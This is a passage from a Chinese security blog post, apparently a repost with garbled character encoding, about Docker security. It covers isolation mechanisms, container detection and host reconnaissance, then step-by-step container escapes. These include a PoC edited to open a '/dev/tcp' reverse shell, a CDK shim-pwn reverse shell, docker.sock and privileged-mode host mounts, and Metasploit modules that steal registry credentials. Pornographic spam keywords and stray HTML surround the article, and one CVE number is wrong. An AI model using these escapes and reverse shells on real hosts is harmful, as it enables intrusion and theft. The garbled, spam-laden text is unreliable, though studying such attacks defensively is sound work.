<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          docker下安全問(wèn)題總結(jié)

          共 8145字,需瀏覽 17分鐘

           ·

          2021-06-11 13:15

          作者:DDBG  編輯:白帽子社區(qū)運(yùn)營(yíng)團(tuán)隊(duì)




              "白帽子社區(qū)端午特別活動(dòng)“白帽尋寶記”明天(06月12日09:00)就開始啦!!!靶場(chǎng)已經(jīng)開放活動(dòng)板塊可以進(jìn)行簽到,抽獎(jiǎng)?wù)堻c(diǎn)??這里??跳轉(zhuǎn),BMZCTF靶場(chǎng)地址:www.bmzclub.cn

          "    





          Docker安全機(jī)制
          • Namespace 

          每次啟動(dòng)一個(gè)容器的時(shí)候,都會(huì)單獨(dú)的給予這個(gè)容器一個(gè)單獨(dú)的命令空間, 因此容器中運(yùn)行的程序/進(jìn)程是不會(huì)影響到另一個(gè)容器的;每個(gè)容器的網(wǎng)絡(luò) 也是相互獨(dú)立的,有需要的話可以通過(guò)物理機(jī)來(lái)實(shí)現(xiàn)連通 

          Namespace讓每個(gè)容器都變得獨(dú)立,互不干擾 


          • Control Group 

          Control Group組件用來(lái)規(guī)劃容器對(duì)物理資源(cpu、內(nèi)存、磁盤等)的使 用,防止容器過(guò)多的占用資源,影響其他容器或者是物理機(jī)的正常運(yùn)轉(zhuǎn) 

          Control Group可以有效的防止DOS 


          • Capabilities 

          Capabilities將 root/非root 分為更細(xì)的權(quán)限控制,所有需要root權(quán)限來(lái)執(zhí)行 的命令,都可以利用 Capabilities 來(lái)代替,例如一個(gè) Web 服務(wù)進(jìn)程只需要綁 定一個(gè)低于 1024 的端口的權(quán)限,并不需要 root 權(quán)限。那么它只需要被授權(quán) net_bind_service Capabilities 就行了。

          利用 Capabilities 可以避免進(jìn)程獲取 root 權(quán)限,即使攻擊者能夠獲取到容器 的root權(quán)限,也不能獲得宿主機(jī)的較高權(quán)限。默認(rèn)情況下,Docker采用 白 名單 機(jī)制,禁用必需功能之外的其它權(quán)限。當(dāng)然,用戶也可以根據(jù)自身需 求來(lái)為 Docker 容器啟用額外的權(quán)限。


          • AppArmor 


          可以理解為是一個(gè)訪問(wèn)控制,AppArmor 將訪問(wèn)控制細(xì)化綁定到程序。定義 了應(yīng)用程序可以訪問(wèn)哪些系統(tǒng)資源以及具有哪些權(quán)限。例如:可以允許程序 進(jìn)行網(wǎng)絡(luò)訪問(wèn),原始套接字訪問(wèn)或者讀取寫入與路徑規(guī)則匹配的文件。如果 配置文件沒有聲明,則默認(rèn)情況下禁止進(jìn)程對(duì)資源的訪問(wèn)。

          默認(rèn)情況下,Docker 會(huì)為容器自動(dòng)生成并加載默認(rèn)的 AppArmor 配置文 件。


          • Seccomp


          一般情況下,系統(tǒng)進(jìn)程都會(huì)暴露給用戶。Seccomp可以過(guò)濾一些不必要的系 統(tǒng)調(diào)用,減少了內(nèi)核暴露給用戶態(tài)進(jìn)程的接口數(shù)量 

          默認(rèn)會(huì)啟用 Seccomp 保護(hù),默認(rèn)的白名單規(guī)則僅保留了 Linux 中比較常見 并且安全的系統(tǒng)調(diào)用。防止從內(nèi)核層面發(fā)起的進(jìn)攻 


          • 容器逃逸:攻擊者通過(guò)攻擊控制了一個(gè)容器,能在容器中以某個(gè)角色權(quán)限執(zhí)行命 令。然后再進(jìn)一步的獲取到容器所在的直接宿主機(jī)(在“物理機(jī)運(yùn)行虛擬機(jī),虛擬 機(jī)再運(yùn)行容器”的場(chǎng)景中,直接宿主機(jī)指容器外層的虛擬機(jī))

          判斷是否為容器
          • 根目錄下是否存在 .dockerenv 文件 

          .dockerenv是所有容器中都會(huì)存在這個(gè)文件,這個(gè)文件曾是LCX用于環(huán)境變 量加載到容器中,現(xiàn)在容器不再使用LCX所以內(nèi)容為空,通過(guò)這種方式來(lái)識(shí) 別當(dāng)前環(huán)境是否在容器中。
          ls -al .dockerenv

          • /proc/1/cgroup是否存在docker字符串
          為了限制容器的資源,Docker為每個(gè)容器創(chuàng)建了一個(gè)控制組以及一個(gè)名為 docker的父控制組,如果某個(gè)進(jìn)程在Docker容器中啟動(dòng),則該進(jìn)程將必須在 該容器控制中,所以通過(guò)查看初始進(jìn)程的cgroup來(lái)驗(yàn)證是否為容器。
          cat /proc/1/cgroup | grep docker

          • 運(yùn)行的系統(tǒng)進(jìn)程數(shù)
          容器環(huán)境中是無(wú)法看到所有的系統(tǒng)進(jìn)程的,可以根據(jù)系統(tǒng)進(jìn)程數(shù)量來(lái)判斷是 否處于docker環(huán)境
          s aux

          • 缺少系統(tǒng)命令
          因?yàn)閐ocker鏡像一般占用的存儲(chǔ)空間不大,所以只會(huì)保留運(yùn)行時(shí)需要依賴的 庫(kù),一些常見的命令是不存在的,我們可以以此來(lái)判斷是否是Docker環(huán)境
          ping、sudo、ifconfig、ssh、vi、gcc

          • find命令查看文件系統(tǒng)存在的差別
          在主機(jī)和容器中的文件系統(tǒng)中,關(guān)于docker的文件、目錄有很大差別(主機(jī) 中有/var、/etc、/sys目錄下的文件,可以以此來(lái)區(qū)別是否為docker環(huán)境)
          find / -name docker

          • 環(huán)境變量的不同
          可以查看環(huán)境變量的結(jié)果來(lái)看是否是docker環(huán)境,一般來(lái)說(shuō),主機(jī)中的環(huán)境 變量多,docker中的少
          env

          • 文件系統(tǒng)的不同

          在主機(jī)環(huán)境中cgmanager是cgroup的管理器daemon,運(yùn)行于root下。所以 可以根據(jù)這個(gè)來(lái)判斷
          df -h

          容器/主機(jī)信息搜集
          • 查看Docker版本

          docker --version

          • 當(dāng)前環(huán)境哪些用戶? 
          cat /etc/passwd

          • 容器操作系統(tǒng)?
          cat /etc/os-release

          • 宿主機(jī)內(nèi)核版本?
          uname -a

          • 容器內(nèi)進(jìn)程具有哪些權(quán)限(Docker上執(zhí)行,獲得權(quán)限值) 
          grep CapEff /proc/self/status

          • 容器掛載了哪些卷? 
          cat /proc/mounts

          • 哪些用戶可以使用docker? 
          grep docker /etc/group 

          • 當(dāng)前宿主機(jī)可用鏡像? 
          docker images -a

          • 當(dāng)前運(yùn)行哪些容器? 
          docker ps -a

          確定為容器后,可以通過(guò)以下幾個(gè)方向進(jìn)行攻擊

          • 宿主機(jī)內(nèi)核漏洞 


          因?yàn)?Docker 與宿主機(jī)共用一個(gè)內(nèi)核,所以當(dāng)內(nèi)核存在提權(quán)等漏洞時(shí),可發(fā) 生逃逸,如Dirty COW漏洞(CVE-2016-5195)。未及時(shí)升級(jí)linux內(nèi)核,也有 被攻擊利用的風(fēng)險(xiǎn)。

          • Docker自身漏洞 

          (1) Docker逃逸漏洞(CVE-2020-5736) 
          1. 漏洞描述:Docker 18.09.2之前的版本中使用了的 runC 版本小于1.0- rc6,因此允許攻擊者重寫宿主機(jī)上的runc 二進(jìn)制文件,攻擊者可以 在宿主機(jī)上以root身份執(zhí)行命令。(通過(guò) docker 和docker-runc 查看 當(dāng)前版本情況) 

          2. 影響版本:

            docker version <=18.09.2、RunC version <=1.0-rc6 


          3. 利用條件:攻擊者可控 image,進(jìn)一步控制生成的container、攻擊者 具有某已存在容器的寫權(quán)限,且可通過(guò)docker exec進(jìn)入 

          4. 漏洞利用:

          下載payload:
          https://github.com/Frichetten/CVE-2019-5736-PoC 
          將其中的16行修改為反彈shell: 
          var payload = "#!/bin/bash \n bash -i >& /dev/tcp/127.0.0.1/8888 0>& 1" 
          編譯命令
          CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
          將生成的 main 放到容器中并賦予權(quán)限 777,實(shí)際場(chǎng)景可以wget 或者其余下載方式傳入就好。 
          運(yùn)行該main文件,出現(xiàn)以下輸出即表示ok
          root@root:/tmp# ./main[+] Overwritten /bin/sh successfully
          新起一個(gè)shell來(lái)以exec啟動(dòng)docker容器
          test@test:~$ sudo docker exec -it d1 /bin/bash
          docker內(nèi)main程序的運(yùn)行輸出:
          root@root:/tmp# ./main[+] Overwritten /bin/sh successfully[+] Found the PID: 16[+] Successfully got the file handle[+] Successfully got write handle &{0xc8201231e0}
          nc收到root權(quán)限的反彈shell 

          修復(fù)方案:升級(jí),修復(fù)升級(jí)后應(yīng)重啟容器內(nèi)的服務(wù)以確保生效。

          (2) Docker cp命令漏洞(CVE-2019-14271) 
          1. 通過(guò)宿主機(jī)docker cp容器文件導(dǎo)致任意命令執(zhí)行的漏洞 

          2. 影響版本:

            docker 19.03.0(包含幾個(gè)beta版),19.03.1以上以及18.09以下都不受影響 


          3. 漏洞利用

            https://xz.aliyun.com/t/6806


            修復(fù)建議:升級(jí)到最新版本或者是打補(bǔ)丁。


          (3) Docker逃逸漏洞(CVE-2020-15257) 
          1. 漏洞描述:containerd是行業(yè)標(biāo)準(zhǔn)的容器運(yùn)行時(shí),可作為L(zhǎng)inux和 Windows的守護(hù)程序使用。在版本1.3.9和1.4.3之前的容器中,容器填 充的API不正確地暴露給主機(jī)網(wǎng)絡(luò)容器。填充程序的API套接字的訪問(wèn) 控制驗(yàn)證了連接過(guò)程的有效UID為0,但沒有以其他方式限制對(duì)抽象 Unix域套接字的訪問(wèn)。這將允許在與填充程序相同的網(wǎng)絡(luò)名稱空間中運(yùn)行的惡意容器(有效UID為0,但特權(quán)降低)導(dǎo)致新進(jìn)程以提升的特 權(quán)運(yùn)行。 

          2. 影響版本:

            containerd < 1.4.3containerd < 1.3.9 


          3. 漏洞利用: 

          漏洞POC:
          https://github.com/Xyntax/CDK/releases/tag/0.1.6
          選擇對(duì)應(yīng)的版本的POC上傳到容器中 執(zhí)行POC反彈shell
          ./cdk_linux_386 run shim-pwn 127.0.0.1 8888
          VPS上監(jiān)聽
          nc -lvp 8888 

          修復(fù)建議:升級(jí) containerd 至最新版本。通過(guò)添加如 deny unix addr=@**的AppArmor策略禁止訪問(wèn)抽 象套接字。

          (4) CVE-2019-16884 安全機(jī)制繞過(guò) 
          1. 漏洞描述:該漏洞源于libcontainer/rootfs_linux.go文件沒有正確檢 查掛載目標(biāo)。攻擊者可利用該漏洞繞過(guò)AppArmor限制。 


          2. 影響版本:

            runc1.0.0-rc8及之前版本


          3. 漏洞利用:

            https://mp.weixin.qq.com/s/snd1mrEeFheEPB_wrPv8XA

          修復(fù)建議:升級(jí)到最新版本

          (5) 此外還有CVE-2016-3697 、CVE-2019-13139、CVE-2018-9862、CVE2018-15664等漏洞

          • Docker的錯(cuò)誤配置&設(shè)計(jì)缺陷


          • Docker 未授權(quán)訪問(wèn) 


          在使用docker swarm的時(shí)候,會(huì)在docker節(jié)點(diǎn)上開放2375端口,并綁 定在0.0.0.0上,端口中存在Docker Remote API的服務(wù)。可以通過(guò) HTTP調(diào)用 

          詳細(xì)步驟: 
          訪問(wèn)目標(biāo)的2375端口探測(cè)信息:
          http://217.0.0.1:2375/version(ps、/images/json、/containers/json)
          在vps上進(jìn)一步獲取信息(vps上需要安裝有docker) 
          獲取鏡像信息:
          docker -H tcp://xx.xx.xx.xx:2375 images
          啟動(dòng)一個(gè)docker并掛載宿主機(jī)根目錄:
          docker -H tcp://xx.xx.xx.xx:2375 run -it -v /:/mnt docker_ID/bin/sh
          然后接可以利用寫入crontab,進(jìn)行反彈shell

          • Docker.sock 


          當(dāng)容器可以訪問(wèn)docker socket時(shí),可以通過(guò)與daemon的通信對(duì)其進(jìn) 行惡意操縱完成逃逸,容器A能訪問(wèn)docker socket便可在容器中安裝 docker client,通過(guò)docker.sock與宿主機(jī)進(jìn)行交互,運(yùn)行并切換至不 安全的容器B中控制宿主機(jī)。 

          詳細(xì)步驟: 
          在容器中找到docker.sock:
          find / -name docker.sock
          在容器查看宿主機(jī)docker信息:
          docker -H unix:///var/run/docker.sock info
          運(yùn)行一個(gè)新容器并掛載宿主機(jī)根路徑:
          docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu/bin/bash

          在新容器的/test 目錄下,就可以訪問(wèn)到宿主機(jī)的全部資源,接 下來(lái)就是寫入ssh密鑰或者寫入計(jì)劃任務(wù),獲取shell

          • privileged(特權(quán)模式) 


          privileged允許容器內(nèi)的root擁有外部物理機(jī)root權(quán)限。執(zhí)行docker run --privileged時(shí),Docker容器將被允許訪問(wèn)主機(jī)上的所有文件,并 可以執(zhí)行mount命令進(jìn)行掛載。通過(guò)mount命令將外部宿主機(jī)磁盤設(shè) 備掛載進(jìn)容器內(nèi)部,獲取對(duì)整個(gè)宿主機(jī)的文件讀寫權(quán)限,利用寫入計(jì) 劃任務(wù)等方式在宿主機(jī)執(zhí)行命令。 

          容器中檢測(cè)是否為privileged:
          cat /proc/self/status | grep CapEff
          如果是以特權(quán)模式啟動(dòng)的話,輸出的值為:
          0000003fffffffff
          詳細(xì)步驟: 
          新建目錄以備掛載:
          mkdir /test
          將/dev/sda1掛載至 /test:
          mount /dev/sda1 /abc
          訪問(wèn)容器內(nèi)部的/test就能直接訪問(wèn)整個(gè)宿主機(jī)目錄:
          ls /abc
          寫文件到宿主機(jī):
          echo 123 > /test/home/botasky/escape2

          • Shocker 攻擊 


          調(diào)用open_by_handle_at函數(shù)對(duì)宿主機(jī)文件系統(tǒng)進(jìn)行暴力掃描,以獲 取宿主機(jī)的目標(biāo)文件內(nèi)容。存在于 Docker 1.0 之前的絕大多數(shù)版本 
          GitHub項(xiàng)目地址:
          https://github.com/gabrtv/shocker
          執(zhí)行:
          docker run gabrtv/shocker

          工具化測(cè)試

          • 查看Docker服務(wù)器版本(VERBOSE參數(shù)為true獲得更多信息) 


          模塊:
          auxiliary/scanner/http/docker_version

          描述:設(shè)置VERBOSE參數(shù)為true能夠獲得更多信息 

          原理:向Docker Daemon監(jiān)聽的2375端口發(fā)起請(qǐng)求。 

          限制:目標(biāo)環(huán)境的Docker Daemon必須開啟端口監(jiān)聽且能夠被遠(yuǎn)程訪 問(wèn)。

          • 檢測(cè)目標(biāo)環(huán)境是否為容器。 


          模塊:
          post/linux/gather/checkcontainer

          原理:較為簡(jiǎn)單,即檢測(cè)/.dockerenv特征文件和cgroup里的特征字符 串是否存在等。 

          限制:獲得一個(gè)基礎(chǔ)shell之后才能使用(后滲透階段)。 

          • 檢測(cè)目標(biāo)環(huán)境中各種漏洞緩解機(jī)制是否開啟 


          模塊:
          post/linux/gather/enum_protections
          描述:檢測(cè)目標(biāo)環(huán)境中各種漏洞緩解機(jī)制是否開啟(對(duì)于容器環(huán)境來(lái) 說(shuō),會(huì)影響逃逸成功率),具體檢測(cè)了漏洞緩解措施是否開啟,如 ASLR、kernel.exec-shield、KAISER、SMEP/SMAP;還檢測(cè)了 LKRG、Grsecurity、PaX、SELinux、Yama等內(nèi)核安全模塊是否安裝 及開啟;另外,還檢測(cè)了一些常見安全應(yīng)用等 

          原理:該模塊調(diào)用了Metasploit核心模塊Msf::Post::Linux::Kernel, 核心模塊則是通過(guò)讀取內(nèi)核通過(guò)procfs等偽文件系統(tǒng)在用戶態(tài)暴露出 的參數(shù)來(lái)判斷相關(guān)緩解機(jī)制是否開啟 

          限制:獲得一個(gè)基礎(chǔ)shell之后才能使用(后滲透階段)。 

          • 對(duì)Docker的守護(hù)進(jìn)程實(shí)現(xiàn)root權(quán)限遠(yuǎn)程代碼執(zhí)行 


          模塊:
          exploit/linux/http/docker_daemon_tcp
          描述:利用監(jiān)聽了TCP socket的Docker守護(hù)進(jìn)程實(shí)現(xiàn)root權(quán)限遠(yuǎn)程代 碼執(zhí)行。 

          原理:遠(yuǎn)程給Docker守護(hù)進(jìn)程下達(dá)命令拉取鏡像,創(chuàng)建新容器,掛載 宿主機(jī)目錄,寫入反彈shell的定時(shí)任務(wù)。

          限制:目標(biāo)環(huán)境的Docker Daemon必須開啟端口監(jiān)聽且能夠被遠(yuǎn)程訪 問(wèn)。

          • Docker容器內(nèi)的提權(quán) 


          模塊:
          exploit/linux/local/docker_daemon_privilege_escalation
          描述:這實(shí)際上也是一個(gè)后滲透階段的功能。當(dāng)拿到目標(biāo)宿主機(jī)上的 一個(gè)普通用戶shell時(shí),如果該普通用戶能夠操作本機(jī)上的Docker,就 能夠借助Docker守護(hù)進(jìn)程提升權(quán)限 .

          原理:從邏輯上來(lái)看,能夠操控Docker就意味著具有了root權(quán)限,容 器內(nèi)掛載docker socket導(dǎo)致容器逃逸的情況與本模塊在原理上是類似 的。本模塊利用Docker創(chuàng)建新容器,將宿主機(jī)上文件系統(tǒng)掛載進(jìn)去, 然后將反彈shell程序添加suid標(biāo)志位,最后執(zhí)行反彈shell。 

          限制:普通用戶需要有與Docker守護(hù)進(jìn)程交互的權(quán)限。 

          • 讀取.docker/config.json文件 


          模塊:
          post/multi/gather/docker_creds
          描述:嘗試讀取所有用戶目錄下的.docker/config.json文件,解析獲 得認(rèn)證憑據(jù)(如鏡像倉(cāng)庫(kù)的登錄憑據(jù))。 
          原理:讀取.docker/config.json文件。 
          限制:獲得一個(gè)基礎(chǔ)shell之后才能使用(后滲透階段)。

          • 其他模塊,因?yàn)檫m用范圍或者限制問(wèn)題,建議參考模塊的文檔

            auxiliary/gather/saltstack_salt_root_keyexploit/linux/misc/saltstack_salt_unauth_rceexploit/windows/local/docker_credential_wincredexploit/linux/http/rancher_serverexploit/linux/http/dcos_marathon

          • 參考文章

            https://forum.90sec.com/t/topic/1338https://chen1sheng.github.io/2021/01/10/%E6%B8%97%E9%80%8F/linux/docker%E9%80%83%E9%80%B8/https://wohin.me/yun-yuan-sheng-huan-jing-shen-tou-xiang-guan-gong-ju-kao-cha/#1-https://tech.meituan.com/2020/03/12/cloud-native-security.htmlhttps://mp.weixin.qq.com/s/d9D3z13uCOJoJzplpu3WJQ



          往期精彩內(nèi)容




          “白帽尋寶記”啟程!解題抽獎(jiǎng)拿獎(jiǎng)品 邀你一起 共度端午!
          【題目講解】hp-RE_hyperthreading
          【題目講解】tzzzez-433MHz+oldmodem
          tzzzez-游園會(huì)的集章卡片+十二宮的挑釁




          技術(shù)支持:白帽子社區(qū)團(tuán)隊(duì)
          — 掃碼關(guān)注我們 



          瀏覽 156
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  人人操人人模 | 亚洲日本一级片 | 特西西人体门四WW高清 | 久久久午夜视频 | 日本黄色小电影网站 |